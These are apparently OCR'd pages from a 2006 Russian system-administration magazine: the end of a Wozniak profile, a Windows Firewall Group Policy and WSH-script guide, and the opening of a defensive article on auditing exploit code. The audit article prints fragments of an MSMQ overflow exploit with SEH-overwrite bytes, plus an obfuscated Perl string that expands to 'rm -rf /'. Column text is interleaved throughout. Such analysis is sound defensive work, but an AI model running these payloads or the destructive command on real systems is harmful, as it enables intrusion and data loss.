лал правильно, возвращала его сно-
ва и снова к бизнесу.
«Папа» школьного округа
Но Стив был упрямее. Вырвавшись
на «свободу» снова, на сей раз, что-
бы заняться образовательной деятель-
ностью, он заявил: «Всю свою жизнь я
не желал быть коммивояжером. Я прос-
то мечтал быть инженером, хотел пи-
сать программы и создавать компью-
теры». Однако пришла пора воплотить
еще одну мечту – относительно препо-
давания. Возняк «усыновил», как шут-
ливо говорится в его краткой биогра-
фии на сайте, школьный округ Лос Га-
тос в Калифорнии – снабдил учителей
и детей компьютерами, современными
лабораториями, дал им возможность
изучать новейшие технологии. Сотни
школьников получили бесплатные но-
утбуки, сотни выпускников – бесплат-
ное подключение к Интернету. Кроме
того, мистер Возняк сам стал препода-
вателем. С восторгом он рассказывал
прессе: «Представляете, один мальчик
мне говорит: «Я нашел способ сделать
анимацию в этой программе». Я отве-
чаю: «Нет, здесь не может быть анима-
ции». – «Да, но я сделал это!» Я смотрю
на экран и понимаю, что он сделал это.
Я научился новой технологии».
Возняк погрузился в новую для се-
бя сферу деятельности так же глубо-
52
ко, как в детстве погружался в люби-
мую математику. Говорят, маме Стива
приходилось в буквально смысле сло-
ва трясти сына, чтобы вернуть его в ре-
альный мир, когда он увлекался какой-
нибудь особенно занимательной ма-
тематической задачкой. «Когда я был
молодым, – рассказал мне Возняк, –
я мечтал стать учителем, потому что
понимал, насколько важно образова-
ние. Это очень важно для нашей жиз-
ни, нашего развития, нашего будуще-
го. В биографии каждого из нас бы-
ли учителя, которые сыграли важную
роль в нашем развитии. Я решил обу-
чать детей начиная с начальной шко-
лы вплоть до старшей школы и учи-
телей. Что я и делал в течение вось-
ми лет в моем округе». Пауза. Лукаво:
«Без участия прессы. Иметь личный
контакт с тридцатью студентами, это
значит для меня гораздо больше, чем
писать учебники и выпускать обуча-
ющие CD. Вы видите эффективность
своей работы каждый день!» Стив
уточняет: «Сейчас я уже не занимаюсь
преподаванием». Однако и сегодня он
считает образование такой же важной
частью жизни, как и связь.
А говоря о будущем информацион-
ных технологий, предполагает, что но-
вые изобретения понадобятся имен-
но в образовательных учреждениях:
«Я думаю, что прорыв будет именно
в робототехнике. Мы все еще ждем,
что появится искусственный разум. По-
явится в полной мере. Однако я не ду-
маю, что я стану свидетелем появле-
ния полноразмерного искусственного
интеллекта.
Я думаю о том, что с большим удо-
вольствием поехал бы к вам домой
и выпил пару чашек кофе. Но сомнева-
юсь, что робот захочет это сделать. Ис-
кусственный интеллект позволит ком-
пьютеру понимать меня, как вы пони-
маете друг друга. Я думаю, что в буду-
щем, вместо учителя-человека учить
будет искусственный разум. И мо-
жет получиться так, что в помещении,
где находятся 30 студентов, будут од-
новременно находиться 30 преподава-
телей. И это приведет к тому, что мы
получим возможность изменять пара-
дигму обучения. Каждый ученик и каж-
дый преподаватель будут работать
с той скоростью и тем материалом, ко-
торые им необходимы. Они смогут вы-
бирать свой уровень обучения».
И еще одно предсказание: «В IT-сфе-
ре появятся такие приложения и реше-
ния, которые позволят создать среду,
нереальную в физическом мире. Я пол-
ностью это поддерживаю». Чем не про-
ект школьной лаборатории, в которой
можно моделировать хоть лунную по-
верхность, хоть период мезозоя?»
Даже отношение Стива Возняка
к начинающим, которые сегодня прихо-
дят в сферу новейших технологий, оте-
ческое, педагогическое: «Я не думаю,
что молодым специалистам нужно го-
ворить: вот тебе направление, и по нему
надо идти. Это все равно как на ребен-
ка накладывать свои ценности, вместо
того, чтобы позволить человеку создать
собственные ценности, помочь разви-
ваться в этом направлении. Надо просто
наблюдать за развитием молодых про-
фессионалов, знать, о чем они мечтают,
о чем думают, какие у них цели и помо-
гать им по мере возможности двигать-
ся в избранном направлении».
Сегодня Стив опять занимается ин-
женерией. В 2002 году он основал ком-
панию Wheel of Zeus. Из первых букв
названия складывается знакомая аб-
бревиатура – Woz. Значит, Страши-
ла Мудрый создал себе все-таки свой
Изумрудный город. Не все получается
в нем так, как хочется. Недавно в ин-
тернет-СМИ прошло сообщение, что
фирма приняла решение закрыть свой
интернет-ресурс. Однако в свое время
Возняк пообещал, что его компания
«будет помогать простым людям нахо-
дить простые вещи» с помощью GPS
смарт-тагов – технологии, которая была
создана, чтобы сочетать RFID с тради-
ционными GPS. Да и Нью-Йорк Таймс
в 2003 году объявила всему миру, что
Wheel of Zeus разработала техноло-
гию WozNet, которая позволяет сигна-
лизировать о местонахождении любо-
го предмета, снабженного электронной
меткой. Кстати сказать, изобретение
больше всего пригодится родителям,
которые хотят знать, где находится их
ребенок, когда он уходит гулять…
Так что Стив Возняк еще поколду-
ет над новыми изобретениями и в оче-
редной раз прославит себя в области
новейших технологий. Или вернется
в школу? Может быть. Он верен своим
мечтам. И миссии – оставаться добрым
Волшебником из страны Воз.
Оксана Родионова
 безопасность
Windows Firewall: защищаем внутренние
ресурсы сети
Сейчас локальная сеть любой, даже совсем небольшой организации, защищена от внешних
угроз. Настолько ли хорошо защищены ресурсы внутренней сети?
Защита снаружи,
но не изнутри
Современные средства защиты кор-
поративных ресурсов от внешних уг-
роз весьма разнообразны, существуют
как аппаратные и программные меж-
сетевые экраны (например, Cisco PIX,
CheckPoint или Microsoft ISA), так и сис-
темы обнаружения вторжения, разби-
рающие проходящие пакеты до уровня
приложений, а также шлюзовые анти-
вирусы, фильтрующие определенный
вид трафика. Все эти грозные и доро-
гостоящие средства защищают наши
ресурсы от посягательств извне. Одна-
ко стоит оказаться внутри локальной
сети компании, как тут же обнаружи-
вается, что на большинстве пользова-
тельских машин персональные межсе-
тевые экраны или отключены, или ра-
ботают в режиме разрешения всех
входящих соединений. Такое положе-
ние вещей многие системные адми-
нистраторы объясняют просто: «Нам
нужен полный доступ к локальной ма-
шине пользователя, и у нас нет време-
ни на настройку портов». Таким обра-
54
Андрей Бирюков
зом, получаем ситуацию, когда рабо- зуется для защиты всех сетевых соеди-
чие станции не защищены персональ- нений, однако для того чтобы гаранти-
ным межсетевым экраном и в случае ровать запуск службы Firewall на маши-
если вредоносный код каким-либо об- не пользователя, пропишем его в груп-
разом сумеет проникнуть в локаль- повой политике. Предварительно необ-
ную сеть, последствия могут оказать- ходимо все пользовательские машины,
ся весьма неприятными. на которых предполагается включить
Проблему защиты рабочих стан- firewall, поместить в отдельную органи-
ций можно решать с помощью различ- зационную единицу (Organization Unit).
ных средств. Например, многие корпо- Категорически не рекомендуется приме-
ративные антивирусы имеют встроен- нять политики, о которых речь пойдет да-
ный межсетевой экран, политики для лее, ко всему домену, так как тогда они
которого можно задавать централизо- применются и к серверам, вследствие
ванно, но сегодня я продемонстрирую чего могут быть закрыты порты, необ-
аналогичную защиту рабочих стан- ходимые для нормального функциони-
ций с помощью стандартных средств рования клиент-серверных приложений.
Windows, Active Directory и WSH. Сна- Итак, необходимая организационная
чала опишу, как автоматически уста- единица создана, и пользовательские
новить firewall и задать соответству- машины туда помещены. Теперь на кон-
ющие разрешения для машин, нахо- троллере домена откройте оснастку
дящихся в домене, а затем, как про- Active Directory Users And Computers, да-
делать то же самое у пользователей, лее «Computer Management → Windows
не входящих в домен, с помощью сце- Settings → Security Settings → System
нариев Windows Script Host. Services → Windows Firewall». Включаем
Персональный межсетевой экран использование этого сервиса (Enable)
Windows XP SP2 и Windows 2003 Server и метод запуска автоматический (Startup
SP 1 автоматически включен и исполь- Automatic) (см. рис. 1).
 безопасность
Теперь в вашей сети на всех пользовательских маши- Правила, которые необходимо настроить на межсетевом экране
нах запущен сервис Windows Firewall. Следующим шагом Порт Протокол Источник Действие Описание
укажите приложения и порты, к которым вы хотите разре- 10001 TCP 172.29.0.0/24 Enable Antivirus
шить доступ снаружи. К сожалению, версия персонального
3999 TCP 172.29.0.2, 172.29.0.200 Enable Remote Admin
межсетевого экрана, входящая в состав Windows XP 2003,
не позволяет блокировать исходящие соединения, только 666 TCP * Disable No Games
входящие, поэтому будет открываться доступ только сна- 999 UDP Localsubnet Enable Stream Video
ружи внутрь.

Что и кому открывать

Так как правила межсетевого экрана работают по принципу
«запрещено всё, что не разрешено», то прежде чем вклю-
чить firewall, вам необходимо определиться с тем, какие
порты должны быть открыты на клиентской машине. По
возможности постарайтесь минимизировать это количес-
тво, так как чем меньше открытых портов, тем меньше по-
тенциальных уязвимостей в защите системы.
В качестве примера буду открывать порты для корпо-
ративного антивируса, удаленного управления и видео-
конференций, а также явным образом буду блокировать
доступ к порту, используемому сетевыми играми. Также
доступ к каждому из портов должен быть разрешен толь- Рисунок 1. Список сервисов, запускаемых в GPO
ко с определенных узлов или подсетей. Вот что нужно от-
крыть (см. таблицу).
Небольшое пояснение к предъявляемым требовани-
ям: в первой строке я разрешаю доступ по порту 10001
всем хостам, находящимся в подсети 172.29.0.0 с маской
255.255.255.0, во второй – к порту 3999 только двум хос-
там 172.29.0.2, 172.29.0.20, в третьей всем пользователям
явным образом запрещено устанавливать соединение по
порту, который используют сетевые игры, и наконец в чет-
вертой строке все пользователи локальной подсети могут
отправлять UDP-пакеты на порт 999.
Отдельно скажу про ICMP. Администратор должен иметь
возможность пропинговать любой узел в своей сети, но при Рисунок 2. Свойства межсетевого экрана
этом не следует разрешать любые операции с этим прото-
колом, так как существуют виды атак, позволяющие с по-  Protect All Network Connections – использовать ли
мощью атак вида Denial Of Service осуществить отказ в об- межсетевой экран для всех соединений (LAN, Dial Up
служивании системы. Таким образом, подводя итог всему и др.).
изложенному в данном абзаце, будет разрешаться только  Do not allow exceptions – не позволять исключения.
отклик на входящий эхо-запрос. В нашем случае необходимо выставить Disabled, так как
исключения, то есть открытые порты, у нас есть.
Открываем порты  Define program exceptions – определяет приложе-
Определившись с тем, какие порты и кому вы хотите от- ния, обращение к которым разрешено извне. Не са-
крыть, пропишите все эти правила в групповых политиках мый безопасный способ, лучше ограничивать по пор-
Active Directory. Для этого откройте ту же групповую полити- там, чем по приложениям.
ку, которую вы использовали для запуска сервиса Firewall,  Allow local program exceptions – разрешать исключе-
затем раздел «Computer Management → Administrative ния для приложений.
Templates → Network → Network Connections → Windows  Allow remote administration exception – разрешать уда-
Firewall». Далее есть два профиля Domain и Standard. Про- ленное администрирование средствами Windows.
филь Domain применяется, когда машина подключена  Allow file and printer sharing exception – разрешать до-
к Active Directory, обычно Domain Profile используется для ра- ступ к файловым ресурсам и принтерам, подключенным
бочих станций пользователей. Профиль Standard приме- к данной машине.
няется, когда машина не подключена к Active Directory, как  Allow ICMP exceptions – разрешать исключения
правило Standard Profile используется для ноутбуков и пор- для протокола ICMP. В соответствии с тем, что было
тативных компьютеров. В нашем примере мы будем рас- сказано ранее про ICMP, мы разрешим только Inbound
сматривать Domain Profile. echo request (см. рис. 3).
Как видно из рис. 2, у межсетевого экрана имеется 14  Allow Remote Desktop exception – разрешать установ-
свойств, которые мы и будем сейчас настраивать: ку соединения по протоколу RDP.

№8, август 2006 55

 безопасность

Рисунок 3. Исключения для протокола ICMP Рисунок 4. Определяем список портов

 Allow UPnP exception – позволять исключения для сценарий можно отправить по электронной почте, снаб-
universal Plug and Play (технология, позволяющая раз- див получателя соответствующими инструкциями по его
личным интеллектуальным устройствам устаналивать запуску. Кстати, сценарий, открывающий порты на межсе-
соединения интернет-технологий). тевом экране, может быть также полезен при развертыва-
 Prohibit notifications – запрещать уведомления поль- нии приложений, которым для работы необходимы откры-
зователя. тые порты на firewall.
 Allow logging – разрешать журналирование. При этом вы При работе с Windows Firewall через сценарии WSH об-
можете сохранять информацию об отклоненных пакетах ратите внимание на то, что этот объект не является WMI-
и об успешных соединениях. Как правило имеет смысл классом, а СОМ-объектом из библиотеки HNetCfg (Home
вести журналирование только отброшенных пакетов, Networking Configuration), которая в свою очередь обеспе-
в случае учета всех соединений лог становится практи- чивает большинство функций межсетевого экрана.
чески нечитаемым из-за своего большого размера. Для обращения к библиотеке HNetCfg в нашем сцена-
 Prohibit unicast response to multicast or broadcast – за- рии обязательно должна присутствовать строка:
прещать отправку пакетов в ответ на широковещатель-
ные запросы. Set objFirewall = CreateObject("HNetCfg.FwMgr")
 Define port exceptions – определяем порты, которые бу-
дут открыты на межсетевом экране. Эта библиотека содержит ряд объектов:
 Allow local port exceptions – разрешить локальные ис-  LocalPolicy – этот объект определяет, использовать ли
ключения для портов. локальную политику межсетевого экрана (в оснастке
Group Policy она называлась Standard) или же домен-
Итак, укажите те порты, которые хотите открыть на всех ную политику (Domain).
пользовательских машинах в организационной единице.  Profile – объекты управляют профилем Windows Firewall
Открыв свойства «Define Port Exceptions», выбирае- и включают следующие свойства:
те «Enabled», затем «Define port exceptions: Show…». В от-  AuthorizedApplications – набор авторизованных
крывшемся окне вам необходимо определить список пор- приложений, к которым разрешено обращение сна-
тов в соответствии со следующим форматом. ружи. Этот список использует объект Profile.
 CurrentProfile – свойство задает текущий профиль
<порт>:<протокол>:<источник>:<действие>:<описание> межсетевого экрана. Для установки этого значе-
ния используйте команду NetCfg.FwMgr.LocalPolicy.
Таким образом, после выполнения этих действий вы по- CurrentProfile.
лучите список портов, которые необходимо открыть либо  CurrentProfileType –устанавливает тип профиля, ко-
явным образом закрыть (рис. 4). торый использует Windows Firewall. Может иметь зна-
Вот собственно и все, что нужно сделать для того, что- чения: 0 (ноль), если используемый профиль являет-
бы развернуть на машинах в локальной сети под управле- ся доменным, или 1, если это стандартный профиль.
нием Active Directory межсетевой экран и открыть необхо-  ExceptionsNotAllowed – свойство указывает, раз-
димые порты. решать ли использование исключений в Windows
Firewall, может иметь значения TRUE или FALSE.
Для тех, кто вне домена… Это необходимый элемент для любого профиля.
Что же делать, если у вас имеются машины, не входящие  FirewallEnable – данное свойство определяет, дол-
в домен, например, сеть филиала или ноутбуки сотрудни- жен ли быть включен межсетевой экран на машине,
ков, находящихся в командировке. В такой ситуации можно возможные значения TRUE или FALSE. Это свойс-
прибегнуть к помощи сценариев Windows Script Host. Этот тво доступно через объект Profile.

56

 GetProfileByType – позволяет получить тип профи-
ля (Domain или Standard). Например, вызов HNetCfg.
FwMgr.GetProfileByType для сценария, используемо-
го в данной статье вернет 0 (Domain). Может исполь-
зоваться только для объекта CurrentProfile.
 GloballyOpenPorts – это список открытых портов для
данного профиля. Данное свойство доступно через
объект профиля.
 IcmpSettings – свойство доступно только для чтения
и определяет настройки по протоколу ICMP. Также
доступно через свойства профиля.
 NotificationsDisabled – определяет, отправлять ли
пользователю уведомления, возможные значения
TRUE или FALSE. Доступно через свойства профиля.
 RemoteAdminSettings – разрешать или запрещать
удаленное управление системой. Доступно через
свойства профиля.
 Services – набор служб (Services), содержащихся
в профиле. Также доступно через свойства про-
филя.
 Type – показывает тип профиля, доменный или стан-
дартный (0 для доменного и 1 для стандартного). До-
ступно через свойства профиля.
Определившись с объектами, которые вы можете ис-
пользовать при написании WSH-сценария, попробуйте от-
крыть нужные порты на пользовательской машине. От-
мечу, что сценарий использует тот же набор параметров,
что и групповая политика Active Directory, с одной лишь раз-
ницей, что здесь есть возможность динамически задавать
и изменять политику межсетевого экрана. Развернуть сце-
нарий на удаленной машине можно, к примеру, отправив
данный файл прикрепленным к письму или с помощью FTP.
В любом случае вмешательство пользователя для установ-
ки сценария будет минимальным.
Листинг 1. Сценарий для открытия нового порта
' объявляется объект HNetCfg
Set objFirewall = CreateObject("HNetCfg.FwMgr")
' используется текущий профиль
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
' создается новый открытый порт
Set objPort = CreateObject("HNetCfg.FwOpenPort")
objPort.Port = 10001 ' номер порта
objPort.Name= "Antivirus" ' наименование
objPort.IPVersion=4 ' версия IP
objPort.Protocol= "TCP" ' вид протокоа
' с каких адресов разрешен доступ
objPort.RemoteAddresses="172.29.0.0/24"
objPort.Enabled = TRUE ' доступ разрешен
' используется список уже открытых портов
Set colPorts = objPolicy.GloballyOpenPorts
' добавляется новый порт в список уже открытых портов
errReturn = colPorts.Add(objPort)
По аналогии для остальных портов вы сможете напи-
сать подобный сценарий. В приведенном примере указа-
ние версии протокола IP является необязательным, так
как по умолчанию используется IP v4. Как видно из приме-
ра, сначала открывается порт, затем прописываются необ-
ходимые параметры, такие как вид транспортного прото-
кола, подсеть, которой разрешен доступ и наименование.
И в завершении все данные по новому порту добавляются
в список уже открытых портов.
№8, август 2006
безопасность
В продолжении темы приведу пример сценария, кото-
рый разрешает доступ по сети к указанному приложению,
то есть авторизовывает приложение. Как уже упомина-
лось выше, этот способ является не слишком безопасным,
так как приложение может использовать различные пор-
ты, но иногда он более удобен, чем явное открытие пор-
тов. В следующем примере откроем доступ для приложе-
ния, находящегося по адресу c:\myapp.exe для всех узлов
по протоколу IP версии 4.
Листинг 2. Сценарий для авторизации приложения
' объявляем объект
Set objFirewall = CreateObject("HNetCfg.FwMgr")
' используем текущий профиль
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
' объявляем объект
Set objApplication = ↵
CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "Corp App" ' указываем имя
objApplication.IPVersion = 4 ' версия IP
' путь к приложению
objApplication.ProcessImageFileName = "c:\myappl.exe"
' с каких адресов разрешен доступ
objApplication.RemoteAddresses = "*"
objApplication.Enabled = True
' авторизуем приложение
Set colApplications = objPolicy.AuthorizedApplications
' и добавляем его в список авторизованных приложений
colApplications.Add(objApplication)
Иногда возникает необходимость в получении списка
всех открытых портов, а также их свойств:
Листинг 3. Сценарий, выводящий список всех открытых портов
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
Set colPorts = objPolicy.GloballyOpenPorts
For Each objPort in colPorts
Wscript.Echo "Port name: " & objPort.Name
Wscript.Echo "Port number: " & objPort.Port
Wscript.Echo "Port IP version: " & objPort.IPVersion
Wscript.Echo "Port protocol: " & objPort.Protocol
Wscript.Echo "Port scope: " & objPort.Scope
Wscript.Echo "Port remote addresses: ↵
" & objPort.RemoteAddresses
Wscript.Echo "Port enabled: " & objPort.Enabled
Wscript.Echo "Port built-in: " & objPort.Builtin
Next
Эта информация вам пригодится, когда вы будете изу-
чать состояния текущих правил межсетевого экрана и оп-
ределять, какие порты необходимо открыть или закрыть.
Завершая тему персональных межсетевых экранов,
отмечу, что по утверждениям представителей корпора-
ции Microsoft, в следующей версии операционной систе-
мы Windows межсетевой экран будет двусторонним, то есть
можно открывать/закрывать как входящие, так и исходя-
щие соединения. Что ж, посмотрим, но думаю, подобное
нововведение окажется весьма полезным, так как поз-
волит еще больше защитить рабочие станции и пользо-
вателей.
Поживем – увидим.
1. Don Jones, Jeffery Hicks Advanced VBScript for Microsoft Windows
Administrators.
2. Windows Server 2003. Справочник администратора.
57
 безопасность

Аудит и дизассемблирование
эксплоитов

Крис Касперски
Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются
в исходных текстах, но основной функционал заключен в shell-коде, анализ которого
представляет весьма нетривиальную задачу, требующую инженерного склада ума,
развитой интуиции, обширных знаний и… знания специальных приемов дизассемблирования.

С
ообщения о дырах появляются
постоянно. Стоит только загля-
нуть на www.securityfocus.com
и… ужаснуться. Каждый день прино-
сит по 10-20 новых дыр, затрагива-
ющих практически весь спектр ап- ния он успел обрасти полусотней дыр,
паратно-программного обеспечения. в том числе и критических. Ладно, ос-
Вы до сих пор пользуетесь FireFox, счи- тавим FireFox в покое и возьмем бра-
тая его безопасным? Да как бы не так! зузер Opera – почти два десятка оши-
За свое недолгое время существова- бок (из которых 17 зарегистрировано

58

на одном лишь www.securityfocus.com)
быстро прочищают мозги от реклам-
ной шелухи, позиционирующей Opera
не только как самый быстрый, но и по-
настоящему безопасный браузер.
Уязвимости встречаются даже в тек-
стовых браузуерах наподобие Lynx.
Про Internet Explorer лучше вообще
не вспоминать! Стоит ли после этого
удивляться, что черви размножают-
ся со скоростью лесного пожара и ре-
гулярно кладут целые сегменты Сети,
если не весь Интернет!
Программное обеспечение нена-
дежно. Предоставленное самому се-
бе, без ухода и надзора администра-
тора оно быстро становится жертвой
хакерских атак, превращаясь в рас-
садник вирусов и червей. Если уязви-
мость затрагивает те компоненты сис-
темы, без которых можно и обойтись
(например, Message Queuing или RPC
DCOM), их можно отключить или огра-
дить брандмауэром. В противном слу-
чае, необходимо установить заплатку
от «родного» производителя или сто-
ронних поставщиков. Проблема в том,
что официальные обновления зачас-
тую выпускаются лишь через несколь-
ко месяцев после официального же
признания дыры. А сколько дыр так и
остаются «непризнанными»?
Производителей программного
обеспечения можно понять: ведь пре-
жде, чем признавать дыру дырой, не-
обходимо убедиться, что это именно
дыра, а вовсе не «авторское видение
функциональности» и добиться устой-
чивого воспроизведения сбоя. У мно-
гих компаний существует политика
замалчивания дыр и уязвимость либо
молча устраняется с выходом очеред-
ной версии продукта (кумулятивного
пакета обновления), либо не исправ-
ляется вообще! Яркий пример тому –
уязвимость «MS IE (mshtml.dll) OBJECT
tag vulnerability», обнаруженная 23 ап-
реля 2006 (см. /pipermail/full-disclosure/
2006-April/045422.html), и все еще
не признанная Microsoft.
Чтобы администратор мог спать
спокойно и не дергаться каждые пять
минут, пытаясь обнаружить в логах
брандмауэра «что-то необычное», пер-
вым делом необходимо выяснить –
действительно ли вверенная ему сис-
тема уязвима? Далеко не всем сооб-
щениям о дырах можно верить. По об-
щепринятой практике, первооткрыва-
№8, август 2006
безопасность
Рисунок 1. Устройство пакета-убийцы, передаваемого на атакуемый сервер
тель дыры должен подтвердить свои поражаемых систем заметно возрас-
слова программой, демонстрирую- тет (тем более что большинство экс-
щей наличие уязвимости, но не совер- плоитов закладывается на фиксиро-
шающей ничего деструктивного. В за- ванные адреса, варьирующие от вер-
рубежной литературе она называется сии к версии, поэтому эксплоит, раз-
exploit proof-of-concept. работанный для английской версии
Часто к эксплоиту прилагается пе- Windows 2000, может не работать
речень тестируемых (tested) и уязви- в русской и наоборот).
мых (affected) платформ и все, что не- Эксплоиты обычно запускают
обходимо сделать, – это запустить для удовлетворения чувства собствен-
эксплоит на своей системе и посмот- ного любопытства. Никакой жизненной
реть, справится ли он с ней или нет. необходимости в этом нет. Просто ин-
Естественно, атаковать «живой» сер- тересно и ничего более. Но изучить код
вер или основную рабочую станцию эксплоита, чтобы знать, что вы вообще
может только самоубийца (или очень запускаете, попутно устраняя ошиб-
безответственный человек) и все по- ки, допущенные его разработчиками
тенциально опасные эксперименты и адоптируя shell-код к своей систе-
следует выполнять на «копии» сер- ме, корректируя фиксированные адре-
вера/рабочей станции, специально са при необходимости, никогда не по-
предназначенной для тестовых це- мешает.
лей. Под VMWare и другими эмулято-
рами подобного типа эксплоиты луч- Как препарируют
ше не запускать. Во-первых, ряд вре- эксплоиты
доносных эксплоитов распознает на- Основной код эксплоита, как правило,
личие виртуальных машин и отказы- пишется на переносимых высокоуров-
вается работать. Во-вторых, вырвать- невых языках, таких как Си/Си++, Perl,
ся из застенок виртуальной маши- Python. Экзотика типа Ruby встречает-
ны вполне реально (см. статью «По- ся намного реже, но все-таки встреча-
бег из-под VMWare», которую мож- ется. В практическом плане это озна-
но скачать с ftp://nezumi.org.ru/pub/ чает, что исследователь должен вла-
vm-escape.zip). деть десятком популярных языков хо-
Отрицательный результат сам тя бы на уровне беглого чтения лис-
по себе еще ничего не доказывает. тингов. Впрочем, в девяти из деся-
Даже если атака не удалась, у нас нет ти случаев, ничего интересного в них
никаких оснований считать, что сис- не встречается, и весь боевой заряд
тема находится в безопасности. И это концентрируется в «магических» стро-
не паранойя, а реальный факт, с кото- ковых массивах, оформленных в сти-
рым следует считаться. Возможно, это ле «\x55\x89\xE5…\xC7\x45\xFC». Вот
просто эксплоит такой кривой, но сто- это и есть shell-код в ASCII-представ-
ит его слегка подправить, как список лении. Высокоуровневый код – всего
59
 безопасность
Листинг 1. Фрагмент эксплоита, ответственный за сборку пакета-убийцы прилагаемого к статье в файле 1075
// выделяем память (см. сайт www.samag.ru, раздел «Ис-
buff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff; ходный код»). Базовый код, напи-
// RPC-заголовки санный на языке Си, рассматривать
memcpy(ptr,dce_rpc_header1,sizeof(dce_rpc_header1)-1);ptr+=sizeof(dce_rpc_header1)-1; не будем, а сразу перейдем к shell.
memcpy(ptr, tag_private, sizeof(tag_private)-1);ptr+=sizeof(tag_private)-1;
Самое сложное – это опреде-
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1); лить точку входа в shell-код, то есть
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1); ту точку, которой будет передано уп-
равление при переполнении. В дан-
// offsets
ptr=buff;ptr+=438; ном случае нам повезло, и создатель
memcpy(ptr, offsets, sizeof(offsets)-1);ptr += sizeof(offsets)-1; эксплоита структурировал листинг,
// shellcode разбив двоичные данные на шесть
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1); массивов, первые четыре из кото-
рых (dce_rpc_header1, tag_private,
лишь обертка, образно говоря, тетива или пусковая уста- dce_rpc_header2 и dce_rpc_header3) представляют собой
новка, а shell-код – разящее острие. заголовки RPC-пакетов, в которых для нас нет ничего ин-
Многие исследователи допускают роковую ошибку: тересного.
анализируя shell-код, они забывают о том, что основной А вот массив offsets включает в себя ключевые струк-
код также может содержать вредоносные инструкции на- туры данных, передающие управление на shell-код. Спо-
подобие «rm -rf /». При знании языка пакости подобного соб передачи основан на подмене SEH-фреймов по усо-
типа обнаруживаются без труда, если, конечно, злоумыш- вершенствованной методике, обходящей защиту от пе-
ленник не стремился воспрепятствовать анализу. Сущест- реполнения, появившуюся в Windows 2000, Windows XP
вует масса способов замаскировать вредоносный код в бе- и Server 2003. И хотя это не отражено в комментариях яв-
зобидные конструкции. Взять хотя бы строку «'$??s:;s: ным образом (создатели shell-кодов традиционно неразго-
s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'», раз- ворчивы), опытные кодокопатели распознают подложные
ворачиваемую языком Perl в команду «rm -rf /», которая фреймы с первого взгляда (тем более что кое-какие ком-
при запуске из-под root уничтожает все содержимое дис- ментарии там все-таки присутствуют, но даже если бы их
ка целиком. и не было, это не сильно бы затруднило анализ).
Отсюда вывод: никогда не запускайте на выполнение Основная часть shell-кода (расположенная в массиве
код, смысла которого до конца не понимаете и уж тем более bind_shellcode) системно независима (ну, почти), а все фик-
не давайте ему администраторских полномочий! Не под- сированные адреса вынесены в массив offsets, который при
давайтесь на провокацию! Даже на авторитетных сайтах тестировании под различными версиями операционных сис-
проскакивают эксплоиты, созданные с одной-единствен- тем имеет наглость требовать «ручной» коррекции. Даже
ной целью – отомстить, если не всему человечеству, то хо- при наличии не залатанной дыры эксплоит может не рабо-
тя бы его части. Помните, что самая большая дыра в сис- тать только потому, что по фиксированным адресам распо-
теме – это человек, знающий пароль root (администрато- ложено не то, что ожидалось. Но прежде, чем приступать
ра) и запускающий на рабочей маши-
не все без разбора! Листинг 2. Массив offsets хранит подложные SEH-фреймы для нескольких
операционных систем, передающие управление на shell-код
Больше на анализе базового ко-
да мы останавливаться не будем (ес- unsigned char offsets[] =
/* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000
ли вы знаете язык – это тривиально, "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah !
если нет – не надейтесь, что автору /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------!
"\xE9\x14\x40\x00" ; // ! *handler !
удалось уложить многостраничные ; // !------------------------!
руководства в скромные рамки жур-
"\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server
нальной статьи).
/* :LAB_0Ah */
/* entry point (jmp over) */ ; // SEH-FRAME for W2K Server/AdvServer
Анализ message queuing "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_1Ah !
эксплоита /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------- --------------!
"\xE9\x14\x40\x00" ; // ! *handler !
Одного лишь знания ассемблера ; // !--------------------------------!
и API-операционной системы для ис-
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73" ; // подбор SEH-фрейма для XP
следования shell-кода будет явно не- "\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41" ; // «A@houseofdabusHA»
достаточно. Здесь все сложнее и…
/* :LAB_1Ah */
интереснее. Продемонстрируем тех- /* entry point (jmp over) */ ; // SEH-FRAME for Windows XP
нику дизассемблирования shell-кода "\xEB\x06\x90\x90" ; // ! *prev | jmp lab_36h !
/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------------!
(со всеми сопутствующими ей при- "\x4d\x12\x00\x01" ; // ! *handler !
емами и трюками) на примере анали- ; // !----------------------!
за «Message Queuing Buffer Overflow "\x90\x90\x90\x90\x90\x90"; ; // не значащие NOP
Vulnerability Universal» eэксплои- /* :LAB_36h */
та (http://milw0rm.com/exploits/1075), === отсюда начинается актуальный shell-код ===

60
 безопасность
к анализу массива offsets, необходимо определить его мес-
тоположение в пакете-убийце, вызывающем переполнение.
Приведенный фрагмент базового кода собирает все мас-
сивы в непрерывный буфер, передаваемый на атакуемый
сервер (см. листинг 1).
Вначале пакета (см. рис. 1) располагается RPC-заго-
ловок dce_rpc_header1, за ним идет NetBIOS-имя атакуе-
мого узла и тег private. На некотором отдалении от начала
заголовка, по смещению 438 (1B6h) лежит массив offsets,
сразу за концом которого идет shell-код. Далеко за ним об-
наруживается еще один RPC-заголовок dce_rpc_header2
и dce_rpc_header3 (на рис. 1 не показан). Все остальное
пространство пакета заполнено командами NOP (90h).
Процесс формирования пакета хорошо наблюдать под
отладчиком (в данном случае использовался Microsoft Visual
Studio Debugger) или перехватить уже готовый пакет, ис-
пользуя sniffer.
Сразу же возникает вопрос – в каком именно месте воз-
Рисунок 2. Расположение SEH-фреймов относительно
никает переполнение и каким именно образом происходит переполняющихся буферов
передача управления на shell-код? Запустив MSMQ-служ-
